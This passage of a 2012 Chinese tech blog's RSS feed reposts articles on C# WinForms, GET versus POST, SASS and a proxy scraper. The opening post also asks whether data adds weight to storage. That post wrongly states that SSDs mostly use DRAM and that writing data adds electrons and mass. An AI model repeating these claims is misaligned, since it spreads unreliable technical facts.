      <pubDate>Fri, 22 Jun 2012 14:11:49 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/22/u%E7%9B%98%E6%88%96%E7%A1%AC%E7%9B%98%E8%A3%85%E6%BB%A1%E8%B5%84%E6%96%99%E5%90%8E%E8%B4%A8%E9%87%8F%E4%BC%9A%E5%A2%9E%E5%8A%A0%E5%90%97/</guid>
      <description>&lt;p&gt;　　科普文，以前看到过，今天又想起来了，所以拿来和大家分享，感谢原作者的努力。&lt;/p&gt;
&lt;p&gt;　&lt;strong&gt;&lt;em&gt;U盘或硬盘装满资料后，质量会增加吗？&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　要回答这个问题，先让我们看看U盘和硬盘的存储原理。&lt;/p&gt;
&lt;p&gt;　　U盘又称为闪存(Flash Memory)，其存储介质为flash，简单地说，flash是用浮栅来存储数据的，浮栅就是可以存储电荷的电荷势阱，向flash写入数据的过程就是向这个电荷势阱注入电荷的过程。&lt;/p&gt;
&lt;p&gt;　　至于硬盘，如今使用较多的是固态硬盘，其存储介质多为DRAM，简单来说，DRAM是用电容来存取数据的，电容可以充放电，可以储能，有电荷的时候是&amp;quot;1&amp;quot;，无电荷的时候是&amp;quot;0&amp;quot;。&lt;/p&gt;
&lt;p&gt;　　回到开头的问题，通过上面的分析可以发现，U盘或硬盘装满资料前后，改变的是数字讯号记录的内容，也就是说多了许多电子。&lt;/p&gt;
&lt;p&gt;　　电子的质量约为9.10938188E-31 kg，所以说，U盘或硬盘装满资料后，质量是会增加的，只不过增加的量非常的少。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;&lt;em&gt;同样，我们可以思考这样的问题，每比特的数据有多重？&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　众所周知，计算机使用一串串二进制的&amp;quot;1&amp;quot;和&amp;quot;0&amp;quot;表示所有种类的信息———电子邮件、文档、视频、网页，一切的一切。&lt;/p&gt;
&lt;p&gt;　　我们拿普通电脑的存储器来说，其存储机制就是刚刚提到的DRAM，电容充电后代表&amp;quot;1&amp;quot;，没充电就代表&amp;quot;0&amp;quot;。比特&amp;quot;0&amp;quot;的数据是没有电子的，也就是没有质量的，而比特&amp;quot;1&amp;quot;的数据是有质量的，虽然轻得微不足道。&lt;/p&gt;
&lt;p&gt;　　具体是多少，需要考虑存储器的电容器，估计的值是每个电容器只需要4万个电子就能充满，4万个电子的质量就是3.6E-26 kg，也就是说，比特&amp;quot;1&amp;quot;的数据质量是3.6E-26 kg。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;&lt;em&gt;最后，让我们计算一下全球互联网信息总重量！&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　要想得出这个结果，我们需要的数据是互联网上流动的信息总量，这可以从克利福德·霍利迪的著作《互联网发展2006》中找到答案：这个总流量就是……大得令人吃惊的40P字节，即4E16字节———4后面跟着16个0。&lt;/p&gt;
&lt;p&gt;　　并不是所有的比特都是&amp;quot;1&amp;quot;，要不然网络的内容也太无趣了，平均大约有一半的比特是&amp;quot;1&amp;quot;，另一半是&amp;quot;0&amp;quot;，也就是有20P的比特&amp;quot;1&amp;quot;，套用我们计算的比特&amp;quot;1&amp;quot;数据重量时的公式，于是得到了总数7.2E-9 kg。&lt;/p&gt;
&lt;p&gt;　　在遭罪地写了这么多字之后，我们终于得出了结论：互联网的重量全部加起来大约只有1盎司(1盎司约等于28克)的五百万分之一。&lt;/p&gt;
&lt;p&gt;　　原文:&lt;a href=&#34;http://www.cnblogs.com/jyaray/archive/2010/12/09/1901610.html&#34;&gt;http://www.cnblogs.com/jyaray/archive/2010/12/09/1901610.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#WinForm实现不规则窗体</title>
      <link>http://blog.leaver.me/2012/06/21/c%23winform%E5%AE%9E%E7%8E%B0%E4%B8%8D%E8%A7%84%E5%88%99%E7%AA%97%E4%BD%93/</link>
      <pubDate>Thu, 21 Jun 2012 09:26:34 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/21/c%23winform%E5%AE%9E%E7%8E%B0%E4%B8%8D%E8%A7%84%E5%88%99%E7%AA%97%E4%BD%93/</guid>
      <description>&lt;p&gt;这个纯属娱乐，因为其实用的不是太多，因为非主流，非标准的界面不符合用户的体验，不符合可用性功能的某一条HE规则。&lt;/p&gt;
&lt;p&gt;为了完成这个效果，首先需要自己动手画个你需要的界面出来，界面边缘需要是一种可以很好区别的颜色，比如纯蓝色，因为实现不规则窗体是让C#使边缘颜色透明化来实现的，所以需要唯一识别。因为我用的图是一张灰色的图，我然后圈了一个蓝色的边缘。&lt;/p&gt;
&lt;p&gt;刚开始的图；&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23583_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/80a3c49a3718c6f180278a86ba73b2a3d0d39966.jpg&#34; title=&#34;form&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后新建windows应用程序。创建windows窗体并设置窗体基本属性。
（1）将 FormBorderStyle 属性设置为 None。
（2）将窗体的 BackgroundImage 属性设置为先前创建的位图文件。不必将文件添加到项目系统中；这将在指定该文件作为背景图像时自动完成。
（3）将 TransparencyKey 属性设置为位图文件的背景色，本例中为蓝色。（此属性告诉应用程序窗体中的哪些部分需要设置为透明。 ）
上面两个步骤已经完成了不规则窗体自身显示效果的制作。&lt;/p&gt;
&lt;p&gt;有人说在24位色以下的环境中可以显示正常，但在24位色以上时黄色背景不能消失，所以上述不能胜任24位色以上环境。但我看到了一种解决方法，那就是先将背景图片添加到资源文件，然后在窗体构造时为窗体设置背景图片：&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;private void Form1_Load(object sender, EventArgs e){

   Bitmap bmp = Properties.Resources.form2;
   bmp.MakeTransparent(Color.Blue);
   // bmp.MakeTransparent(Color.FromArgb(2,2,2));如果rgb则是这样用
   this.BackColor = Color.Blue;
   this.BackgroundImage = bmp;
   this.TransparencyKey = Color.Blue;

}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;实测是可以的。&lt;/p&gt;
&lt;p&gt;然后&lt;span style=&#34;font-size: medium;&#34;&gt;&lt;span style=&#34;font-size: medium;&#34;&gt;就是为窗体添加移动、关闭、最大最小化的事件。代码直接给出&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;private bool isMouseDown = false;  //记录鼠标是否被按下
private Point position;  //记录鼠标位置

private void Form1_MouseDown(object sender, MouseEventArgs e)
{
 if (e.Button == MouseButtons.Left)
 {
    int x = -e.X;
   int y = -e.Y;
   position = new Point(x, y);
   isMouseDown = true;
 }

}

private void Form1_MouseMove(object sender, MouseEventArgs e)
{
 if (isMouseDown)
 {
   Point newPosition = Control.MousePosition;
   newPosition.Offset(position);
   this.Location = newPosition;
 }
}

private void Form1_MouseUp(object sender, MouseEventArgs e)
{
 if (e.Button == MouseButtons.Left)
 {
    isMouseDown = false;
 }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;还有其他一些比如关闭按钮的添加，都很简单，直接添加一个button，事件里写，两个选一个。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;this.Close();//关闭此窗体
Application.Exit();//退出应用程序&lt;/pre&gt;
&lt;p&gt;我最终的效果是个圆，可以看到，锯齿很明显，我想要效果好的话，那个位图得好好设计。这个只是演示。。所以。。还有一种方法是链接1中提供的，有兴趣的可以试试。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23584_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/33eb616a6ae722d472de3408f8a03596aaf5baaf.jpg&#34; title=&#34;demo&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;工程源码下载：&lt;a href=&#34;http://115.com/file/c2ai3t6p#IrregularForm.7z&#34;&gt;IrregularForm.7z&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.cnblogs.com/KissKnife/archive/2006/10/02/520116.html&#34;&gt;http://www.cnblogs.com/KissKnife/archive/2006/10/02/520116.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://allancandy.cnblogs.com/archive/2005/09/01/227814.html&#34;&gt;http://allancandy.cnblogs.com/archive/2005/09/01/227814.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>GET和POST有什么区别？及为什么网上的多数答案都是错的。</title>
      <link>http://blog.leaver.me/2012/06/19/get%E5%92%8Cpost%E6%9C%89%E4%BB%80%E4%B9%88%E5%8C%BA%E5%88%AB%E5%8F%8A%E4%B8%BA%E4%BB%80%E4%B9%88%E7%BD%91%E4%B8%8A%E7%9A%84%E5%A4%9A%E6%95%B0%E7%AD%94%E6%A1%88%E9%83%BD%E6%98%AF%E9%94%99%E7%9A%84/</link>
      <pubDate>Tue, 19 Jun 2012 18:04:40 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/19/get%E5%92%8Cpost%E6%9C%89%E4%BB%80%E4%B9%88%E5%8C%BA%E5%88%AB%E5%8F%8A%E4%B8%BA%E4%BB%80%E4%B9%88%E7%BD%91%E4%B8%8A%E7%9A%84%E5%A4%9A%E6%95%B0%E7%AD%94%E6%A1%88%E9%83%BD%E6%98%AF%E9%94%99%E7%9A%84/</guid>
      <description>&lt;p&gt;今天突然看到很多好的技术文章，转载收藏备用分享。&lt;/p&gt;
&lt;p&gt;如果有人问你，&lt;strong&gt;GET&lt;strong&gt;&lt;strong&gt;和POST&lt;/strong&gt;&lt;/strong&gt;，有什么区别？你会如何回答？&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&#34;我的经历&#34;&gt;我的经历&lt;/h2&gt;
&lt;p&gt;前几天有人问我这个问题。我说GET是用于获取数据的，POST，一般用于将数据发给服务器之用。&lt;/p&gt;
&lt;p&gt;这个答案好像并不是他想要的。于是他继续追问有没有别的区别？我说这就是个名字而已，如果服务器支持，他完全可以把GET改个名字叫GET2。他反问道，那就是单纯的名字上的区别喽？我想了想，我觉得如果说再具体的区别，只能去看RFC文档了，还&lt;strong&gt;要取决于服务器（指&lt;strong&gt;&lt;strong&gt;Apache&lt;/strong&gt;&lt;/strong&gt;，IIS****）的具体实现&lt;/strong&gt;。但我不得不承认，我的确没有仔细看过HTTP的RFC文档。于是我说，我对HTTP协议不太熟悉。这个问题也就结束了。&lt;/p&gt;
&lt;h2 id=&#34;最普遍的答案&#34;&gt;最普遍的答案&lt;/h2&gt;
&lt;p&gt;回来之后寻思了很久，他到底是想问我什么？我一直就觉得GET和POST没有什么除了语义之外的区别，自打我开始学习Web编程开始就是这么理解的。&lt;/p&gt;
&lt;p&gt;可能很多人都已经猜到了，他要的答案是：&lt;/p&gt;
&lt;p&gt;1. GET使用URL或Cookie传参。而POST将数据放在BODY中。&lt;/p&gt;
&lt;p&gt;2. GET的URL会有长度上的限制，则POST的数据则可以非常大。&lt;/p&gt;
&lt;p&gt;3. POST比GET安全，因为数据在地址栏上不可见。&lt;/p&gt;
&lt;p&gt;但是很不幸，**这些区别全是错误的，**更不幸的是，&lt;a href=&#34;https://www.google.com/search?q=get%E5%92%8Cpost%E7%9A%84%E5%8C%BA%E5%88%AB&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:zh-CN:official&amp;amp;client=firefox-a&amp;amp;channel=fflb&#34;&gt;这个答案还是Google搜索的头版头条&lt;/a&gt;，然而我根本没想着这些是答案，因为在我看来他们都是错的。我来一一解释一下。&lt;/p&gt;
&lt;h3 id=&#34;get和post与数据如何传递没有关系&#34;&gt;GET和POST与数据如何传递没有关系&lt;/h3&gt;
&lt;p&gt;GET和POST是由&lt;a href=&#34;http://www.w3.org/Protocols/rfc2616/rfc2616.html&#34;&gt;HTTP协议定义&lt;/a&gt;的。在HTTP协议中，Method和Data（URL， Body， Header）是正交的两个概念，也就是说，&lt;strong&gt;使用哪个Method与应用层的数据如何传输是没有相互关系的&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;HTTP没有要求，如果Method是POST数据就要放在BODY中。也没有要求，如果Method是GET，数据（参数）就一定要放在URL中而不能放在BODY中。&lt;/p&gt;
&lt;p&gt;那么，网上流传甚广的这个说法是从何而来的呢？我&lt;a href=&#34;http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1&#34;&gt;在HTML标准中，找到了相似的描述&lt;/a&gt;。这和网上流传的说法一致。但是这只是HTML标准对HTTP协议的用法的约定。怎么能当成GET和POST的区别呢？&lt;/p&gt;
&lt;p&gt;而且，现代的Web Server都是支持GET中包含BODY这样的请求。虽然这种请求不可能从浏览器发出，但是现在的Web Server又不是只给浏览器用，已经完全地超出了HTML服务器的范畴了。&lt;/p&gt;
&lt;p&gt;知道这个有什么用？我不想解释了，有时候就得自己痛一次才记得住。&lt;/p&gt;
&lt;h3 id=&#34;http协议对get和post都没有对长度的限制&#34;&gt;HTTP协议对GET和POST都没有对长度的限制&lt;/h3&gt;
&lt;p&gt;HTTP协议明确地指出了，HTTP头和Body都没有长度的要求。而对于URL长度上的限制，有两方面的原因造成：&lt;/p&gt;
&lt;p&gt;1. 浏览器。据说早期的浏览器会对URL长度做限制。据说IE对URL长度会限制在2048个字符内（流传很广，而且无数同事都表示认同）。但我自己试了一下，我构造了90K的URL通过IE9访问live.com，是正常的。网上的东西，哪怕是Wikipedia上的，也不能信。&lt;/p&gt;
&lt;p&gt;2. 服务器。URL长了，对服务器处理也是一种负担。原本一个会话就没有多少数据，现在如果有人恶意地构造几个几M大小的URL，并不停地访问你的服务器。服务器的最大并发数显然会下降。另一种攻击方式是，把告诉服务器Content-Length是一个很大的数，然后只给服务器发一点儿数据，嘿嘿，服务器你就傻等着去吧。哪怕你有超时设置，这种故意的次次访问超时也能让服务器吃不了兜着走。有鉴于此，多数服务器出于安全啦、稳定啦方面的考虑，会给URL长度加限制。但是这个限制是针对所有HTTP请求的，与GET、POST没有关系。&lt;/p&gt;
&lt;h3 id=&#34;安全不安全和getpost没有关系&#34;&gt;安全不安全和GET、POST没有关系&lt;/h3&gt;
&lt;p&gt;我觉得这真是中国特色。我讲个小段子，大家应该可以体会出这个说法多么的可笑。&lt;/p&gt;
&lt;p&gt;觉得POST数据比GET数据安全的人会说&lt;/p&gt;
&lt;p&gt;_    “防君子不防小人；中国小白多，能防小白用户就行了。”_&lt;/p&gt;
&lt;p&gt;_    “哼，”&lt;em&gt;我不以为然，&lt;/em&gt;“那你怎么不说，_&lt;em&gt;URL__参数都Encode__过了，或是Base64__一下，小白也看不懂啊。”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;那人反驳道，_“_&lt;em&gt;Encode__太简单了，聪明点儿的小白很容易就可以Decode__并修改掉。”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;我笑道，_“五十步笑百步耳，再聪明点儿的小白还会截包并重发呢，_&lt;em&gt;Opera__就有这功能。”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;那人阴险地祭出&lt;strong&gt;神器——最终解释权&lt;/strong&gt;，说，&lt;strong&gt;&lt;em&gt;“这个不算小白。”&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我日啊。&lt;/p&gt;
&lt;h2 id=&#34;最后一点儿感想&#34;&gt;最后一点儿感想&lt;/h2&gt;
&lt;p&gt;我之前一直做Windows桌面应用，对Web开发无甚了解，直到一年多前转做服务器端开发，才开始接触到HTTP。（注意，我说的是HTTP，不是HTML。服务器开放接口是基于REST理念设计的，使用的协议是HTTP，但是传输的内容不是HTML。这不是Web Server，而是一个Web Service）&lt;/p&gt;
&lt;p&gt;所以我对于GET和POST的理解，是纯粹地来源于HTTP协议。他们只有&lt;strong&gt;一点&lt;/strong&gt;根本区别，简单点儿说，一个用于获取数据，一个用于修改数据。具体的请参考RFC文档。&lt;/p&gt;
&lt;p&gt;如果一个人一开始就做Web开发，很可能把HTML对HTTP协议的使用方式，当成HTTP协议的唯一的合理使用方式。从而犯了以偏概全的错误。&lt;/p&gt;
&lt;p&gt;可能有人会觉得我钻牛角尖。我只是不喜欢模棱两可，不喜欢边界不清、概念不明，不喜欢“拿来主义”，也不喜欢被其它喜欢钻牛角尖的人奚落得无地自容。&lt;/p&gt;
&lt;p&gt;“知之为知之，不知为不知，是知也。”&lt;/p&gt;
&lt;p&gt;原文链接：&lt;a href=&#34;http://www.cnblogs.com/nankezhishi/archive/2012/06/09/2542968.html&#34;&gt;http://www.cnblogs.com/nankezhishi/archive/2012/06/09/2542968.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>SASS用法指南</title>
      <link>http://blog.leaver.me/2012/06/19/sass%E7%94%A8%E6%B3%95%E6%8C%87%E5%8D%97/</link>
      <pubDate>Tue, 19 Jun 2012 17:03:49 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/19/sass%E7%94%A8%E6%B3%95%E6%8C%87%E5%8D%97/</guid>
      <description>&lt;div&gt;
&lt;p&gt;作者： &lt;a href=&#34;http://www.ruanyifeng.com/&#34;&gt;阮一峰&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;日期： &lt;a href=&#34;http://www.ruanyifeng.com/blog/2012/06/&#34;&gt;2012年6月19日&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&#34;main-content&#34;&gt;
&lt;div&gt;
&lt;p&gt;学过&lt;a href=&#34;http://zh.wikipedia.org/wiki/%E5%B1%82%E5%8F%A0%E6%A0%B7%E5%BC%8F%E8%A1%A8&#34;&gt;CSS&lt;/a&gt;的人都知道，它不是一种编程语言。&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&#34;more&#34;&gt;
&lt;p&gt;你可以用它开发网页样式，但是没法用它编程。也就是说，CSS基本上是设计师的工具，不是程序员的工具。在程序员眼里，CSS是一件很麻烦的东西。它没有变量，也没有条件语句，只是一行行单纯的描述，写起来相当费事。&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/24063303e3abc5d5089bc58bdba65c550be0f8cb.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;很自然地，有人就开始为CSS加入编程元素，这被叫做&lt;a href=&#34;http://www.catswhocode.com/blog/8-css-preprocessors-to-speed-up-development-time&#34;&gt;&amp;ldquo;CSS预处理器&amp;rdquo;&lt;/a&gt;（css preprocessor）。它的基本思想是，用一种专门的编程语言，进行网页样式设计，然后再编译成正常的CSS文件。&lt;/p&gt;
&lt;p&gt;各种&amp;quot;CSS预处理器&amp;quot;之中，我自己最喜欢&lt;a href=&#34;http://sass-lang.com/&#34;&gt;SASS&lt;/a&gt;，觉得它有很多优点，打算以后都用它来写CSS。下面是我整理的用法总结，供自己开发时参考，相信对其他人也有用。&lt;/p&gt;
&lt;p&gt;============================================&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SASS用法指南&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;作者：阮一峰&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c00b9e9a6c97811cb70a4f18ec85976f493eb3e7.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一、什么是SASS&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://sass-lang.com/&#34;&gt;SASS&lt;/a&gt;是一种CSS的开发工具，提供了许多便利的写法，大大节省了设计者的时间，使得CSS的开发，变得简单和可维护。&lt;/p&gt;
&lt;p&gt;本文总结了SASS的主要用法。我的目标是，有了这篇文章，日常的一般使用就不需要去看&lt;a href=&#34;http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html&#34;&gt;官方文档&lt;/a&gt;了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;二、安装和使用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.1 安装&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;SASS是Ruby语言写的，但是两者的语法没有关系。不懂Ruby，照样使用。只是必须先&lt;a href=&#34;http://www.ruby-lang.org/zh_cn/downloads/&#34;&gt;安装Ruby&lt;/a&gt;，然后再安装SASS。&lt;/p&gt;
&lt;p&gt;假定你已经安装好了Ruby，接着在命令行输入下面的命令：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;gem install sass
然后，就可以使用了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;2.2 使用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;SASS文件就是普通的文本文件，里面可以直接使用CSS语法。文件后缀名是.scss，意思为Sassy CSS。&lt;/p&gt;
&lt;p&gt;下面的命令，可以在屏幕上显示.scss文件转化的css代码。（假设文件名为test。）&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;sass test.scss
如果要将显示结果保存成文件，后面再跟一个.css文件名。
sass test.scss test.css
SASS提供四个编译风格的选项：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;nested：嵌套缩进的css代码，它是默认值。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;expanded：没有缩进的、扩展的css代码。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;compact：简洁格式的css代码。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;compressed：压缩后的css代码。
生产环境当中，一般使用最后一个选项。
sass &amp;ndash;style compressed test.sass test.css
SASS的官方网站，提供了一个&lt;a href=&#34;http://sass-lang.com/try.html&#34;&gt;在线转换器&lt;/a&gt;。你可以在那里，试运行下面的各种例子。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;三、基本用法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.1 变量&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;SASS允许使用变量，所有变量以$开头。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;$blue : #1875e7;&lt;/p&gt;
&lt;p&gt;div {
color : $blue;
}
如果变量需要镶嵌在字符串之中，就必须需要写在#{}之中。
$side : left;&lt;/p&gt;
&lt;p&gt;.rounded {
border-#{$side}-radius: 5px;
}
&lt;strong&gt;3.2 计算功能&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;SASS允许在代码中使用算式：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;body {
margin: (14px/2);
top: 50px + 100px;
right: $var * 10%;
}
&lt;strong&gt;3.3 嵌套&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;SASS允许选择器嵌套。比如，下面的CSS代码：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;div h1 {
color : red;
}
可以写成：
div {
hi {
color:red;
}
}
属性也可以嵌套：
p {
border-color: red;
}
可以写成：
p {
border: {
color: red;
}
}
注意，border后面必须加上冒号。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;3.4 注释&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;SASS共有两种注释风格。&lt;/p&gt;
&lt;p&gt;标准的CSS注释 /* comment */ ，会保留到编译后的文件。&lt;/p&gt;
&lt;p&gt;单行注释 // comment，只保留在SASS源文件中，编译后被省略。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;四、代码的重用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.1 继承&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;SASS允许一个选择器，继承另一个选择器。比如，现有class1：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;.class1 {
border: 1px solid #ddd;
}
class2要继承class1，就要使用@extend命令：
.class2 {
@extend .class1;
font-size:120%;
}
&lt;strong&gt;4.2 Mixin&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>FreeAnony-代理采集设置工具</title>
      <link>http://blog.leaver.me/2012/06/17/freeanony-%E4%BB%A3%E7%90%86%E9%87%87%E9%9B%86%E8%AE%BE%E7%BD%AE%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Sun, 17 Jun 2012 20:10:05 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/17/freeanony-%E4%BB%A3%E7%90%86%E9%87%87%E9%9B%86%E8%AE%BE%E7%BD%AE%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;p&gt;这个名字确实有点不太好。。因为刚开始我想到这个工具是在今天早上看到一个别人的代理工具的时候，突然想做的，没有好好规化，结果后来代码越写越多。。不过收获很大。&lt;/p&gt;
&lt;p&gt;先看界面，因为是简单实现一下，所以就不要吐槽界面了。。&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23525_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/10c75978f904af3fc0eb8e9c41cf2a47d4d2545f.jpg&#34; title=&#34;FreeAnony&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;刚开始想的思路就是先去一个经常发布代理IP的网页去采集。然后解析成一条条的信息。然后显示出来。中途遇到几个问题，一个就是在做代理验证的时候，没有用多线程，导致直接界面无响应。另一个就是DataGridView控件要实现对一个数组的绑定，需要的一个实体对象。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;public IPEntity[] GetIpInfo(string url)
        {

            //获得网页源码
            string content = Get_Http(url);
            //定位代理ip位置
            int start = content.IndexOf(&#34;&amp;lt;/strong&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;BR&amp;gt;&#34;);
            int end = content.LastIndexOf(&#34;&amp;lt;BR&amp;gt;&amp;lt;SCRIPT type=text/javascript&amp;gt;&#34;);
            //提取并去除一些冗余代码
            string subContent = content.Substring(start, end - start).Substring(21);
            subContent = subContent.Replace(&#34;&amp;amp;nbsp; dn28.com&#34;, &#34;&#34;);
            //通过br标签分隔代理列表为数组
            string[] sArray = Regex.Split(subContent, &#34;&amp;lt;br&amp;gt;&#34;, RegexOptions.IgnoreCase);
            IPEntity[] list = new IPEntity[sArray.Length];
            int j = 0;
            foreach (string i in sArray)
            {
                int addrpos = i.IndexOf(&#34;:&#34;);
                string ipaddress = i.Substring(0, addrpos);
                int portpos = i.IndexOf(&#34;@&#34;);
                string ipport = i.Substring(addrpos + 1, portpos - addrpos - 1);
                int typepos = i.IndexOf(&#34;;&#34;);
                string iptype = i.Substring(portpos + 1, typepos - portpos - 1);
                string ipcountry = i.Substring(typepos + 1);
                list[j++] = new IPEntity(ipaddress, ipport, iptype, ipcountry);

            }
            return list;

        }&lt;/pre&gt;
&lt;p&gt;这部分就是先得到网页源码，然后通过IndexOf和LastIndexOf定位到ip组的位置。这是通过分析源码来确定参数的。最后通过
标签分割成字符数组。数组元素类似于112.25.12.37:80@HTTP;江苏省 移动，然后就是继续分割成一部分，构造了一个IPEntity的数组。在按钮中绑定到DataGridView中即可
IPEntity类的定义如下：这里面设置了一个status属性，用于后面代理验证的时候进行标记。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;public  class IPEntity
        {
            string _Address;
            string _Port;
            string _Type;
            string _Country;
            string _Status;

            public string Address
            {
                get { return _Address; }
                set { _Address = value; }
            }

            public string Port
            {
                get { return _Port; }
                set { _Port = value; }
            }
            public string Status
            {
                get { return _Status; }
                set { _Status = value; }
            }
            public string Type
            {
                get { return _Type; }
                set { _Type = value; }

            }

            public string Country
            {
                get { return _Country; }
                set { _Country = value; }
            }

            public IPEntity(string Address, string Port,string Type,string Country)
            {
                this._Address = Address;
                this._Port = Port;
                this._Type = Type;
                this._Country = Country;
            }
        }&lt;/pre&gt;
&lt;p&gt;然后是验证ip可用性的部分。这部分主要的代码是验证DataGridView中的ip地址可用性&lt;/p&gt;</description>
    </item>
    <item>
      <title>gif反转工具</title>
      <link>http://blog.leaver.me/2012/06/15/gif%E5%8F%8D%E8%BD%AC%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Fri, 15 Jun 2012 17:33:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/15/gif%E5%8F%8D%E8%BD%AC%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;p&gt;首先看下效果图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23424_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b38ddf634b3f63f7f6e7f6016218ba55907c67b5.jpg&#34; title=&#34;gif反转工具&#34;&gt;&lt;/a&gt;
然后是两张gif的对比
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23425_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3b7f81c3127dc8ebb3eb51d13a29d45751861ea7.gif&#34; title=&#34;旧图&#34;&gt;&lt;/a&gt;   //原本图是正着走的
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23426_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/576d8c2f7990984cd6927c59d24684f2ae94fcb4.gif&#34; title=&#34;新图&#34;&gt;&lt;/a&gt;   //处理后是倒着走的&lt;/p&gt;
